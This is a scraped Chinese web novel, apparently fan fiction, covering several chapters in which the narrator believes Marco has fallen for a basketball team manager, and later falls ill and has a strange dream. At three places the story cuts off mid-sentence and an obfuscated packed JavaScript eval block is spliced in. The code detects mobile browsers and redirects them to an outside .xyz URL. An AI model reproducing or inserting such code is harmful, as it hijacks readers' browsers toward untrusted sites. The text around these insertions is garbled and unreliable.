他没有回答,反问我:“大小姐,你还不知道?” “……” 我愣在风中,好半天都没回过神来。 糟糕,我真不知道,马尔科喜欢谁? 46.19 喜欢(3) 我怀疑我又忘事了。 小说里写,喜欢是一种浪漫的“感觉”,只有当事人才能体会那电光火石间的悸动。理论上说,喜欢也的确是荷尔蒙的涌动,信息素的传递,它具有靶向性,只对特定的目标生效,并不会被所有人接收。 我真的不知道马尔科喜欢谁,他强烈地感知到了谁的信息素,这种事只有他自己才知道。但听他这理所应当的口吻……和“冬天的约定”如出一辙,好像我应该知道一样。 我不明白,我为什么“应该”知道呢? 马尔科要上课,我托着腮暗自思索。 这种令人费解的事情一发生,我首先怀疑是我忘事了——难道马尔科告诉过我吗? 晚上我们不在食堂吃饭,马尔科提前买好了牛排,说要亲自下厨,做大餐给我吃。我点头说好,承诺我会吃得干干净净!但一回家赶紧翻我的小本本—— 没有啊?除了日历上的星星,最近我什么都没有记录。 那到底是怎么一回事呢?我百思不得其解。 马尔科的手艺极好,情人节是充满魔法的日子,马尔科也变成了首屈一指的大厨。 两块牛排煎得鲜嫩可口,自行配置的香草料别有一番风味。得益于他见多识广的学识,他做出的蔬菜沙拉里也增加了许多鲜有耳闻的新型食材,据说都是对我身体好的药材,我记不住它们的名字,只记得口感清爽独特,与牛排相得益彰,丝丝入扣,令我垂涎三尺。 “大小姐,你这是什么表情啊?” “……呜呜,马尔科,好好吃好好吃!” 好吃得要飞起来了!马尔科准备了好几斤配菜,我要全部吃掉,一口都不剩! 马尔科笑话我:“哈哈,大小姐,真的有这么好吃吗?” “嗯,非常好吃!”我赞不绝口。 不愧是有了喜欢的人啊,马尔科的厨艺突飞猛进、登峰造极。 但是马尔科到底喜欢谁呢?我仍然没有得出答案。 吃过饭,他去厨房收拾,我先去泡澡。 水温适中。我沉入水里,任由波澜吞噬了我的视线。既视感让我联想到了冬至前的冥思苦想……“羊肉汤”那次似乎也是类似情况。事后我有反思自己的错误,那些反思如今提点了我:本子上没有记载,是因为我是记载事件的人,当我没有意识到它需要记载,我就会疏忽大意。 人看不见自己认知以外的世界,也得不到认知以外的东西。 我想或许就是答案:马尔科之所以笃定我应该知道,是因为他曾经告诉了我,而我愚钝……并没有听出端倪,所以也没有记载。 那么,最近马尔科有告诉我什么呢? 我想一定不是太过露骨的话语,不会直抒胸臆说喜欢谁的名字。毕竟小说里写到爱情,大多数都会遮遮掩掩,不会轻易捅破窗户纸;那种拉扯正是恋爱的一大魅力。 马尔科断不会如此明目张胆,倘若他会,我也断不至于如此无知。 但至于最近马尔科告诉过我的,和爱情有关系的隐晦的话……我仔细回忆最近的聊天,我们似乎没有聊过相关问题?倘若是更早时候,甚至是去年的对话——那就无从查证了,我连他课上的同学都记不住,何况是去年的聊天内容。 我只知道马尔科有喜欢的人了。 他急速的心跳说明他真的有,但我思考了一整晚,属实没有头绪。 我甚至深感诧异:马尔科压根不交朋友,平日里除了我,就只跟卡卡西和修兵交流,并没有和女孩子单独相处——那他的喜欢是指什么?在交往了吗?如果是交往的话,怎么交往的? 我百思不得其解,难不成马尔科是在网恋? “——大小姐?!” “嗯?” “还没有泡好吗?” “快好了。” 大总管开始唠叨我了。我赶紧出去,吹干头发,钻进我们的被窝里。马尔科快速洗漱,紧随其后。 为时尚早。平常这个点马尔科要睡前阅读,直到深夜,才熄灯躺下,进入我们的睡前闲聊环节。但今天马尔科没去碰床头的书本,一来就躺下,伸手揽住我—— “唔,好香啊,大小姐~” “嗯,香吧!” 我伸出胳膊,给他闻闻我的宝藏身体乳。但他揽着我,一遍遍深吸着我的发顶。 呼吸的频率如同潮汐,在无垠的寂静里勾勒出舒缓抚慰的曲调。我们靠在一起,谁都没有开口打破这份惬意。直到枕边的平板电脑突然叮叮当当地弹起了消息,马尔科不得已起身查看—— “哈哈,”他一见就笑,成功引起了我的好奇,“修兵和卡卡西又开始照片大战了,要看吗?” “要看,”我接过他的平板电脑。 家庭相册里果然开始频繁更新,冒出一堆卡卡西和修兵的照片。卡卡西在外出差,尚未回家,但丝毫不耽误他收藏转发修兵同事的偷拍。 ——“没有情人但有帅哥一起加班,感觉良好[图片][图片][图片]” 修兵瞧见了,礼尚往来。 ——“见不到卡殿的情人节我该怎么过呢[图片][图片][图片][图片]” …… 两人你来我往,互不相让,逐渐引发了第二次照片大战。 这次我不用保存,我靠在马尔科胸口一张张查阅。喜欢的点亮星星,回头,自然有修兵负责整理成册,卡卡西去联系商贩做成周边。 “可惜你的照片还不多,”一口气收藏了二十来张,我扭头和马尔科闲聊。 “嗯……”他点着头,后知后觉,“换个姿势,大小姐,这样对你颈椎不好。” 好吧。我坐起来。没有办法,有家庭医生就是会存在各种健康指导。 马尔科不让我瘫倒在床上,得坐起来枕着他肩膀,他胳膊顺势绕着我的腰。我看平板电脑,他看手机——我瞥了一眼,不是故意,却意外瞥见他关掉了一个聊天窗口。 “!” 了不起的大发现,瞬间引了我的警觉——马尔科在和人聊天,他跟谁聊天?真的是网恋吗? 这太古怪了。马尔科真的不交朋友。 他是能力者,生活方式和普通人迥乎不同,平日也没有相融的机会。一个完整的校园生活应该包含学习、食堂,而在达到基本生存要素以后,就应该从物质方面升华到精神层面。交友环节也是应该有的。但迄今为止,马尔科每天都和我在一起,课后并没有和其他学生主动或被动的有过联系;迄今为止,他最接近“交友”的一次就是上个星期的篮球赛。 我格外支持他参与篮球赛。 一方面,是因为球队现状惨不忍睹,我们出手是顺水推舟;另一方面,是因为马尔科已经度过了“磨合”阶段,他需要一些必要的社交。 人是社会型的动物,本就需要社会关系。 这一点对任何人均有效。即便不喜欢吃绿叶蔬菜,也不能不考虑摄入必要的维生素。 篮球队找上门来恰到好处,马尔科正需要社交。这份合作会达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850237|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成双赢的局面,能给马尔科创造一个极好的交友契机。所以我支持他去,修兵和卡卡西都有自己的私人社交圈,马尔科也应该有。 至于那天他们交换了联系方式,约了线上联系。考完试后,马尔科同他们一起参与了两场线上会议。视频会议开始前,我则溜去了修兵房间看小说——我鼓励他社交,但如何和篮球队交往是他的私事。我连公事都不管,更别提私事。 我的确不知道他们之间到底如何交往,但那日球赛结束,马尔科再三回绝入队邀请,回家后更是亲手解散了五人小群,又退出了校篮球队的大群。 彼时我也靠在他肩头,捧着平板电脑看照片。无意间看到他的校园交友列表空空如也,有且只有一个和班主任聊天的窗口,但最后一次聊天是几个月前的选课。 ——马尔科真的不交朋友吗? 彼时我大为震惊。 大多数能力者在穿过边境后,都会因为真相而深陷“自我厌恶”。 修兵和卡卡西都有,迷茫无措,没有方向,无法接纳过去的自己,会潜意识地排斥“过去”的一切。修兵尚可,卡卡西身上表现异常明显,刚来的一段时间他平等地厌恶忍者、任务、一切。 而据我观察,马尔科并没有出现“自我厌恶”的排斥现象。 我不是他,我不知道他自己怎样看待那些过往?人的看法是非常主观的东西,我不能凭借表面上的笑容,窥测内里的心声。我只是一个管理员,平平无奇,普普通通。不是神明,不会魔法。 我想最好是怀揣最大的敬畏,不要轻易去打开潘多拉的魔盒。 毕竟后果不可控。这世界上没有神,时间也不会倒转。若钉子击穿木板,会永远地留下空洞。即便用最好的材料填补,洞也是洞,不过是被填满的洞而已。 我不想轻易地去谈论那些过往。 这从一开始,就是我们家不成文的规矩。 既然不交朋友是马尔科的选择,我只会任由他选择,尊重他的决定。 一直以来,我看他始终如一地坚持着“不交友”原则,即便篮球队追上门,也绝不松口。现在突然多出一位偷偷聊天的对象属实可疑透了! ——会是马尔科的网恋对象吗?! 我精神十足,凑上去问他:“你跟谁聊天呢?” “啊?”他迟疑了一瞬,“没有啊,没谁。” 我都看到了还说没谁? 马尔科鬼鬼祟祟的样子太古怪了,他有问题!看来这多半就是他的网恋对象! 我不管,我要知道:“马尔科,我以为我们最好了,你却有事瞒着我?!” “我没有!”他正襟危坐,“哪有,别瞎说——就篮球队的经理,下周的课要组队,她腿脚不方便,没人收留她,就想跟我们一起。” “……”喔~原来是经理啊。我悟了。 她身残志坚的形象跃然纸上。我想起来了,得亏事发不久,尚有一丝记忆。 “你别瞎想!”一整晚,马尔科再三强调。 “我才没有,”我钻进被子里,安然入睡。 我怎么能是瞎想呢?经理上次见到我就跑路,这次却愿意一起行动,两件事中唯一的变量是马尔科——那不就板上钉钉的冲着马尔科来的么? 经理来就来吧,从前的课上也少不了团队合作的项目。偏偏马尔科扭扭捏捏不肯说,分明害羞了,肯定是喜欢上经理了! 好了!破案! 马尔科有喜欢的人了,是篮球队的经理! 47.19 喜欢(4) 我得赶紧睡了,赶着周一上课,去嗑马尔科的CP! 我从没有嗑过真实的CP,这让我振奋不已。 春天是真的来了。寒假落幕时些微的人气,发展至今,已成燎原之火。 马尔科的春天也终于来了,我知道它会来的,但我没有想到它来得如此迅猛。 马尔科没有选择和我直说他的恋爱情况,那意味着他并没有公之于众的愿望。介于此种情况,我得暂时为他保密。 周末和修兵的小说交流会上,我忍了又忍,没有第一时间和他分享,却被他看出了端倪。 “你有什么事?”修兵咬定我不对劲,有事瞒着他。 “嗯,有事!”我和他最好了,我不能撒谎,但我还不能把马尔科的事告诉他,只好改口道,“我觉得马尔科的书包不合适,我们给他买个新的吧!” “哦,书包啊……”修兵恍然大悟,默契提及,“我也觉得,最近也在想着事。” 我和修兵想得并不一致—— 我想着马尔科一直背着我的双肩包。我的包娇小玲珑,只能装一点钥匙、笔袋之类的小物件,装不下马尔科的书本以及平板电脑。眼下他有喜欢的人,断然不能再背着我的包。万一被经理误会了怎么办? 我和马尔科之间原本就存在一些流言蜚语。 这很正常。我们总是牵着手,形影不离,举止亲密;他又背着我的包,一口一句“大小姐”——除了恋人还能有什么关系呢? 正常人都会误会。我第一次带他出门,就被猪扒店的老板当做了恋人。我早已习惯,和卡卡西一起行动时,也常常被视为他的女朋友。 对于那些误解,我也只能接受。如果还想过平静的生活,就不能随便公布我的管理员身份,尽管人云亦云,传言甚嚣尘上。 过去是这样的,但此一时彼一时,现在马尔科有喜欢的人了,可喜可贺,作为家人要举双手支持,当然不能拖他后腿。 我想我要开始避嫌了,为了马尔科的爱情。 而修兵想着最近发了工资,财务状况充裕了些,是时候给马尔科添购一款属于他自己的背包。 即便出发点不同,结果殊途同归。 我们决定要给他换个新书包,提前结束文学交流会,商量起书包款式。 修兵早早筛选出几款男士背包,加入了购物车,而颜色使他为难。决定由我来做。双肩包我选中了棕色款——黑色太过压抑,而棕色在沉稳中不失活泼,再搭配一双同色系的皮鞋,经典学院风跃然纸上。 “决定了?” “嗯!” 修兵没有多问,连夜下单,赶在周一之前拿给了马尔科。 像他这样高大的成熟男士,还是背男士专用的大包精神。女士包太小,他背着小气,连书本都放不下。 马尔科课业繁忙,每天都要带许多书。 其实过了冬天我就不应该再粘着马尔科了,但我听修兵说三月会有一场倒春寒,天气又要降至零度。 如果我没有经历过春天,我还可以一如既往地忍受寒冬,无非咬牙煎熬罢了;但我已经经历过了,由奢入俭难,我不可以一个人睡,我知道应该开始避嫌了,但我还没有办法做到果决地离开他的被窝。 没有办法。管理员毕竟不是神。我只能慢慢适应。 在那之前,我决定以后我的小包我自己背。晚上睡觉前,我把钥匙、纸巾、手机都放进自己的包里。 “你干嘛啊大小姐?”马尔科把他的包摆在我面前,“你就这么点东西,装进我包里吧!” “不要,”我拒绝了,“自己的事情自己做。” “为什么突然要自己做?” “没有为什么,”我催促他,“快睡觉吧,明天周一了!” 我要睡觉了。马尔科拦着不让,拧着眉追问我:“你是不是生气了?” 我为什么要生气?我不理解,摇摇头:“没有啊——” “真的没有?” “当然没有!” 马尔科好奇怪,平白无故,我生什么气呢?我没有,真的没有,我还等着嗑CP呢! 情人节已经过去了,但浪漫的故事并没有结束。中午吃完饭,在返回教室的途中马尔科又被人拦住了。 “马、马尔科同学!” “谢谢,我不能收。” “可是……” “没有可是,再见。” 巧克力一次次送到他面前。他不接,拒绝的话语一次比一次冰冷。 女学生们悻然离去,而我忍俊不禁。 “……嗯?大小姐,你在笑什么?”马尔科问我,“一整天都没有笑过了。” “是吗?”我不知道。 “是啊,”他偏头看着我,随我一起笑起来,“那你在笑什么呢,大小姐?” “我在高兴呢!” 很显然,是金子总会发光的。冬去春来,寒冰消融。我们家的“金子”开始发光了。 马尔科这般优秀,终于凭借他文武双全的能力,一跃成为了炙手可热的校园明星。 眼下他不仅有校篮球队的一众迷弟,还有了医学院的迷妹。巧克力只是爱慕的开端,能显露的永远是冰山一角,指不定在暗处,他的迷妹也像修兵的粉丝、卡卡西的“夫人”们一样痴迷而疯狂。 我没有证据,是猜的。 篮球队不是说了么?马尔科很出名,整个医学院都拜读过他的大作。 我还没有读过马尔科的论文。但我认为文字具有力量,是极好的载体。无形的思考可以借由文字,将不可观测的智慧跃然纸上。 按理说,人的需求分为生存和生活两种,在解决了生存问题后,都会逐渐对生活质量提出要求。 人的审美也是一种“需求”,也如生存和生活一样。外貌、五官、皮肤、身材……是生存性质的审美,具有一定的物质属性、动物性;而内里的智慧、学识、幽默、善良,则是生活性质的审美,有思想性、进步性。 我们家的三位男士都有仪表堂堂的相貌。 可单凭“相貌”,世界上总有更漂亮的模样。 我们家的三位男士都有卓越不凡的气质。 但“气质”本身需要拥有良好鉴赏水平才能感悟,不像外表的阅读那样简单直接。 而马尔科的文章是很好的载体,借由此,学生们都可以感悟到马尔科的智慧,感受他内里的光芒。他如此优秀,一定会成为医学界冉冉升起的明日之星。 ——这很好,不是吗? 金子不应该被埋没。空有本领,却无人赏识,无处发挥,是一种对人才资源的浪费。 我不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864130|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢浪费。至少在我眼里,是金子,就应该闪闪发光。 我很高兴他们都看见了马尔科。 马尔科的笑容却在我的表述里渐渐散去。他不笑了,凝视着我:“这么高兴……就为这个?” “那不然呢?” “……”他不言语。 没有不然,这就是值得高兴的事情。 马尔科舒了口气:“大小姐。” “嗯?” “其实那天经理她——” 经理她来了!马尔科刚开口,人群里蓦然出现一个熟悉的身影。我示意马尔科回头看,她已经瞧见了我们,正热情地挥手示意。 “马尔科队长!哇你们也太好了,还专门来接我吗!” “……呃。” 女主角终于登场了!马尔科说她年轻漂亮爱撒娇,但很有责任感,非常可爱……我看的确如此:即便腿脚不便,经理每次出现都是如出一辙的身残志坚。 下午是实践问诊,医学生的使命在召唤。她可以申请不参加,但她即使双手杵着拐杖,也挂着硕大的药箱如约而至,风雨无阻。 责任在哪里,人就在那里。这很好,我也认为她很有担当,非常可爱。 马尔科上前帮忙:“抱歉,还要你带药箱。” “没有没有!”她摆着手,连连致谢,“别的小组都不肯收留我,你们肯帮忙,实在太好了!” “不用客气,我正好没有药箱,互帮互助而已,”马尔科推了推眼镜,煞有介事地强调,“还有,不要叫我队长。” “好的!队长!”她不假思索。 “?” “啊啊对不起,习惯了,”经理难为情地笑了笑,也如马尔科所说“平常呆呆的,不怎么聪明的样子”。 “对了,队长——啊,不是,那个,你的论文我有一些不明白的地方。能请你讲解一下吗?” “嗯,当然可以。” …… 马尔科真的被看见了。 我看见经理的眼睛里闪烁着耀耀星河,而微笑的马尔科就倒映其中。 窗外春意盎然,渐浓的绿意在枝头点染浓墨重彩的一笔。阳光斑驳而入,见缝插针地补充着声浪之余的留白。安静的教室里除了他俩别无他人,他们对着话,彼此相望中,一人闪耀而微笑,一人憧憬而赧然。 这不正是爱情最美丽的模样么?我知道!小说里都这么写! ——爱是“看见”。除了你,我的眼里再无他人。 真美好啊……我正要敲门的手施施然僵在了半空中。 教室里叽叽喳喳充满了吵闹,马尔科的爱情正在发生……我念想着,这是属于他们的时间,我不应该敲门,不应该打扰。 所以我垂下眼,没有敲门,没有打扰。 走廊里起风了吗? 不知道怎么回事,突然好冷。 我转过身,背后空无一人。廊道的玻璃窗许久未被擦拭过,它灰蒙蒙的,投射出同样沉寂的天空。 这片天空没有阳光。 暗淡的阴影里,枯树枝丫歪歪斜斜地向上伸展。枝头没有绿意,黑漆漆的,似乎没能挨过这个惨淡的冬季,已被严寒剥夺了全部生机。 春天未能将它唤醒。 ——真可惜。 我忍不住地想,它真可惜。 48.20 亏欠(1) 或许并非树的软弱,这半年来,气候属实极端而严苛。 三月未至,开春尚无几日,气温又开始颠倒。一夜之间,全城皆被冰雪覆盖,断崖式的大降温再次来袭。 我不过是去走廊接个电话的功夫,便染上了寒气,晚上一回家,开始浑身发冷,四肢乏力。 “怎么会这么严重?”马尔科诧异不已。 他照顾了我好几个彻夜,用火焰不断地驱逐我的寒意。然而那寒气冰冷刺骨,无论他怎么驱逐我都还是很冷,冷得不能自己。 我不能陪他去上学了,我这模样,不够漂亮。 “大小姐……”马尔科哭笑不得,“什么时候了,还在担心不漂亮?” 我不管:“可是就是不漂亮!” “好吧,那今天我也不去学校了,”马尔科准备请假。 “你去吧,”修兵拦下他,“没事,她这多半是老毛病。” 听说我生病了,修兵加完班,一大早赶回家给我煮红糖姜汤。他有经验,马尔科都不能诊断的病状,修兵三下五除二,定义我这是气温锐降引发的“老毛病”。 老毛病不是病,只折磨人却要不了命,等我喝完魔鬼变态辣的红糖姜汤,我很快就会好起来。 “去上课吧,”我也和马尔科说,“下午不是有实践课,要去社区上门问诊么?” “……”他不想走,坐在床边,轻轻揉着我的脸,“你在生病,我出去问诊,这像话么?” “没关系的,我有修兵。” “我知道,但是——” “你去忙吧,”修兵一锤定音,“趁我有空,我看着她,过两天我工作忙,只能你来看着了。” “去吧,”我让他去,留在这里他也提供不了什么帮助,我的毛病只有无敌变态辣可以治愈。 “……好吧,那我会早点回来,”马尔科背上书包,一步三回头,无比迟缓地离开了家门。 他走了。确认他真的走了,我从床上跳起来,跑去修兵房间看小说。 我还是没有告诉修兵,马尔科有喜欢的人。但他总是和我默契,即便我有难言之隐,也总能奇妙的“殊途同归”。 “汤喝了好些了吗?” “嗯,好多了。” “我猜就是……毕竟问诊鱼龙混杂。”他以为是我不想和生人接触。 “……”我没有作声。 真相是组里只有马尔科和经理,我不想去当电灯泡。不过算了,修兵说的没错,问诊鱼龙混杂,我一方面不想当电灯泡,另一方面也的确不想和过多的生人接触。 外面哪有家里好呢?房间里,有修兵早早为我准备的小说。 是我无用,说要找竞技向的校园文出来重读,却翻来找去,找不出几篇,只得求助修兵帮我检索。 我们家的期刊存在卷轴里,卷轴在卡卡西手上。任务狂魔卡卡西去临市办事,顺手还要做几个临市的任务。他人不在家,前几天修兵线上告知他期刊号,他给我们邮寄了几本回来。 “你先看着,卡卡西只邮寄了三本……不行我再去编辑部的仓库找找。” “好的。” 三本杂志都不够我看一下午。但卡卡西昨天打电话给我,说他临时还要再接个任务。时间紧、任务重,没时间处理,让我将就将就。 “……嘛,担待一下了,大小姐~~~” “好吧,”我能怎么办呢,我只有答应他,“那你早点回家。” “收到!” 三本杂志真不够看。我本以为最多一下午搞定,然而一下午过去,我堪堪看了三页,竟然连一个故事都没有看完…… 我有点不对劲,但我不知道、也说不清楚究竟“为什么”。 修兵和马尔科约定了晚上换班。六点三刻,马尔科到家,修兵匆忙招呼了一声,赶紧回了公司。 屋子里只剩下我和马尔科。他风尘仆仆地冲进了卧室,没找到我,跑来修兵的房间把我捉住了。 “——大小姐?!” “嗯?” “你怎么在修兵的房间?” “……”我也说不清楚这究竟是怎么一回事,今天我看不了小说,左右不入状态。于是我先去卡卡西的房间玩游戏,又在修兵的房间听歌。 ——可我仍然不在状态。我控制不了大脑的停滞,它总是不断地失神、放空。 这种情况从未发生过。我不知道缘由,隐隐猜着或许我不是老毛病犯了,而是真的病了?但我不敢说——它只是第一次发生,只是一种猜测。修兵和卡卡西都有自己的工作要忙,马尔科也要在学习之余,操心他的爱情……大家都有自己的生活,我不能因为一些未经证实的猜想让全家人都疲于奔波。 …… “大小姐,你怎么了?”马尔科伸手在我眼前晃了晃。 “唔?”我如梦初醒,“没、没怎么……” 我说不清楚,也不希望他再问下去。我便问他:“说说你吧,今天相处得怎么样?” “什么相处?”马尔科瞬间拧眉。 还能是什么相处,当然是和他和经理了!他俩不是在谈恋爱么? 马尔科这种态度,我认为是他不想和我细说。不说算了,我理解,爱情是两个人的事,和我这第三者毫不相干,本就不需要和我分享。 好吧。我把头撇过去。他别问来我,我也不去问他。 “哈?干什么不理人?”马尔科前来推我。 “没有不理人。” “还说没有?”他捧着我的脸,反复打量,“怎么了呀,怎么这么委屈?不会又要掉小珍珠了吧?” “……”我好端端的,干嘛掉小珍珠呢? 马尔科好奇怪。我打掉他的坏手,丢下他,先回房间了——我没有不理人,刚才没有,现在才是。 “哼。” “哼什么,”他追过来,边走边笑,“大小姐,你该不会是——” “我怎样?!”我杀他个回马枪,要他说清楚。 马尔科微微一怔。四目相对,他神色复杂而多变——先是晦暗不明,然后灵光一现,接着恍然大悟,最后哑然失笑。 我不知道他在笑什么,但他笑起来真好看。金光闪闪,像耀阳永不落幕。 我承认我是颜控,所以……算了。问题本就不在于马尔科,而是在于我。 我不知道自己这是怎么了。人总是难以认识自己,对此我颇有感触。 我能感受到今天的我脾气很大,但我并不知道缘由。在我没有发现症结、解开矛盾之前,我只希望马尔科离我远一点,不要受到无端的苛责。而他偏偏跟在我身后,一步也不分离。 “……你不要跟着我。” “不行。”马尔科不答应。 “……你去吃饭吧,厨房里给你留了菜。” “晚点再吃。”马尔科不肯走。 我们在卧室门口僵持。马尔科走上来,抚摸小狗一样,轻轻地摸了摸我的头。 “干什么!”我不许他摸。 “什么‘干什么’?”他就要,不仅摸,还动手抱。 怀抱本是极好的,温暖、松软,令人眷念。可我却在他胸前闻到一股奇妙的香味。 这不是我的香水味道,我的大脑一秒得出答案。 香水中,我固然偏爱植物大类,家里的香水也以木质调居多,佐以花香调、水生调、绿叶调、芳香调,但唯独不涉及果香调。而他身上浅浅萦绕的却是一股青涩而甜蜜的果香。 果香调的受众画像多是16岁到25岁之间的“青春少女”……正合经理的年纪。 ——所以是经理的香水沾到了马尔科身上? 但经理的香水为什么能沾染到马尔科身上?如果他们没有肢体接触的话,这不应该发生。 ——所以他们有过肢体接触?已经在交往了?! 我不该问,但我实在好奇:“马尔科,你们已经在交往了吗?” “你们?”他眉头挑了挑,满脸愕然,“大小姐,‘你们’是指谁啊?” “……”还能是谁啊?我不理解, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871908|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然是和你喜欢的人啊!” “大小姐,你确定是在问我和我喜欢的人吗?”他眉头挑得更高,似笑非笑的口吻并没有抵触的意思。 这似乎是可以聊的话题。 “嗯,我确定呀,”我果断点头,确定、一定以及肯定。 我当然是在问他和他喜欢的人——马尔科总是不愿意直言她的名字,对他的感情生活也遮遮掩掩,没有公开和坦白——如果挑明他喜欢的人是经理会让马尔科感觉害羞的话,那我可以换个代词,反正“经理”也只是一个代词,我压根不知道她的名字。 那不重要,重要的是结果。 “你们已经交往了吗?”我很好奇。 “为什么突然问这个?” “想知道,告诉我嘛!”我拽住他衣服,要他快说!快说! 这不是一个难以回答的问题,但马尔科竟然犹豫了。 “这怎么说呢……是,也不是吧,”马尔科告诉我。 “什么意思?”我听不懂。 “意思是:我们现在还没有正式交往,但其实和在交往也没有太大的区别,”马尔科摸了摸我的脑袋。 我需要他的解释,他也给了我一个解释,但这模棱两可的说辞只叫我愈发迷茫。 是就是,不是就不是。是和不是没有区别——这是什么意思呢? 我还是听不懂,只好再换个方法:“那就是说,你们平常相处得特别好,对吗?” “嗯,那当然好,我们一直都很要好,”他煞有介事地强调,笑盈盈地述说,“不过最近……遇到一点小麻烦,跟我闹好大的脾气呢。” “啊?什么麻烦?” “还能是什么麻烦,”马尔科揉着我的脸,“千防万防,还是惹她吃醋了,小姑娘都不爱理人了。” “——啊,她吃醋了吗?!”他轻描淡写的一提,惹得我惊讶不已。 为了避嫌,我已经避而不见了。如果这也会引发吃醋的话……我手忙脚乱地从马尔科怀抱里挣脱出来。 “哈哈,不抱了吗?”马尔科问我。 “……”我本不愿回答。 “不抱的话,以后谈恋爱了,可就不能随便抱大小姐了哦!”他又说。 “……” 会抱不了的。 真该死。马尔科这哪壶不开提哪壶的本事是跟卡卡西学的吗? 留给我的时间已经不多了。天气又冷,我得抓紧时间充分感受。这温暖的被窝过时不候,我却同它难舍难分。 我今天一定要缩进被子里睡,我要和它做最后的告别。可额头抵着他胸膛,却愈发听见马尔科怦然的心跳声——好快的律动,他说过,异常地速率是因为想到了喜欢的人。 ——他们才刚刚分离,这就又开始互相思念了么?! ——爱情真的会有这么大的魔力,真的会让人持续不断地始终挂念着另一个人?! 我不知道啊,我第一次知道。 他的心跳声越来越急促。我听着,随着它的节奏,念头隐约在我脑海里盘旋。 我默默地探出头来:“马尔科,你以后会走吗?” “……傻瓜,”他拍拍我的头,笑着反问,“我走去哪儿啊?” “去你喜欢的人那里。” “这个啊——” 我在等他答案,而他拖长了调子,久久不答。 “傻瓜,”他只是笑着,一遍遍说我傻。 其实我不是傻,我只是有点笨;其实我也不是笨,我只是……有点笨拙。 不过算了。天不早了。 他的手轻轻拍打着我的后背,声音柔和,像海妖唱着诱人的歌…… “大小姐?” “……嗯。” “大小姐,不希望我走吗?” “……嗯。” “那你留下我啊,”他伏在我耳边,低声说,“只要你开口,我就是你的。” “……” 我做了一个梦。 梦见马尔科说,他是我的。 49.20 亏欠(2) 我疯了吗? 我为什么会做这种怪梦啊?我完全不能理解。 梦里的那个人真的是马尔科吗?如果真的是他,他为什么会跟我说“他是我的”?是他疯了,还是我疯了? 马尔科可是鸟啊!飞鸟是自由的,来时如此,去时也一样。 可我呢?我不是飞鸟,我顶多算是一条爱忘事的游鱼。 …… 我不知道我为什么会做这样的梦。 梦境被广泛视为人们零碎意识的再组装,能在一定程度上呈现人潜意识的想法。换言之,它是一面镜子,能照见不为人知的一部分自我。 但“自我”却是难以被阅读的内容。人最难理解的就是自己。 我第一次见识到“这样”的自我。它出现得太突然,我难以理解,对此毫无头绪。这个梦带给我莫大的震撼,而我甚至无法言说。 早上起床,我神志恍惚,不经意把修兵的咖啡打翻在地。他没有怪我,见我裙子被弄得脏了,急忙让我去换衣服。我点点头,听他的,一转身,又和马尔科撞个满怀。 “我是你的”——四目相对时,梦里的喃语冷不丁地在我脑海响起。它太古怪了,我难以企口,赶紧要走,慌不择路间又撞到了门框。 我们家房子不大,从客厅到卧室,寥寥几步而已。 我却一路磕磕绊绊,好不容易进到浴室,修兵和马尔科也追了过来,驻在门外喋喋私语。 “你们最近出什么事了吗?”修兵问着,“她很不对劲。” “没什么啊,”马尔科答,“哦,最近我和篮球队的经理组一起上课,大小姐她……” 再往后我没听清。 月底了,那种撕裂般的剧痛不断地从小腹处传来,我只是进来换裙子,这一进就再也出不去。 “我生理期来了。”我只能求助于外面。 “……”对话戛然而止。 大家都是成年人,这种事懂的都懂,没什么好害羞的。 马尔科没有加入这个家庭以前,卡卡西和修兵都曾有过半夜出门替我激情购物的经历。不过修兵脸皮薄一点,自打卡卡西来了,这就成了卡卡西的工作。 ……哦,说来这或许也是我俩之间有无数流言蜚语的根本原因之一。 不过罢了,这不重要。 自打马尔科入住,接替卡卡西照顾我的日常起居后,这就成了马尔科的工作。 “好,等一下,我去取。” 东西存放在衣柜里。马尔科当即翻箱倒柜。 隔着卫生间的木门,我听到修兵叹气:“……嗯,那个,没什么事的话,我先去工作了。” 他害羞了,每当他害羞,总会别扭地移开目光,然后在长久的沉默后,用“嗯,那个”开始他的话题。 “好,去上班吧,”马尔科送他离去。 房门重重的合上。 不多时,我面前的木门被敲响—— “大小姐?”马尔科站在门外,悉心问着,“你没有拿干净的裙子进去是吗?” “是的。” “那内衣裤呢,要换一套吗?” “嗯,要换……”我弄脏了,全部需要换掉。 “要什么?”门外会意地问起,“今天要穿哪套?蝴蝶结的小熊吗?白色还是粉色?” “粉色——” 话音未落,门被打开一条缝,马尔科探身进来,手上攥着我的粉色蕾丝蝴蝶结金边小熊。他伸长胳膊远远递给我,递完就走,人离开了浴室,却没有离开房间。 我们家隔音效果并不算好。没有额外的脚步声,意味着他没有走远。 “马尔科?”我试着呼唤他。 